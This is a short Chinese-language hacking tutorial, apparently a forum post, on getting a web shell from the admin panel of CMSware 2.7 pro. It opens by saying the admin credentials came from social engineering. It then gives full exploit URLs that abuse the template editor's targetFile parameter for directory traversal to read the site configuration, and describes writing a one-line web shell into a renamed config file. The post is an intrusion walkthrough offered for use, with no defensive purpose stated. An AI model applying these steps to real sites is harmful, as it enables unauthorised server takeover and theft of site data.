思维内容管理系统(CMSware 2.7 pro) 后台拿shell
阿易 9769887
keio 编辑
账号密码是社工的 不能上传图片 拿shell
后台登陆界面
后台不能上传图片
模板管理 --公用模板
随便点击一个 模板里面的文件 注意这个sid 特有的
下面是用来列网站目录 需要修改2个地方
列出了网站根目录
http://www.xxxx.net/cms/admin/admin_tpl.php?sId=ed96865b949892f2a1bcb5241c9852dc&o=editor_frameset&extra=edit&PATH=&targetFile=../../config/config_global.php
可以查看源代码
远远不止列源码 因为是linux 系统 又不让建立php的文件 就在
http://www.xxxx.net/cms/admin/admin_tpl.php?sId=ed96865b949892f2a1bcb5241c9852dc&o=editor_frameset&extra=edit&PATH=&targetFile=../../config/config_global.php.111
这样提示访问错误 不要管他
照样写入我们的一句话
保存
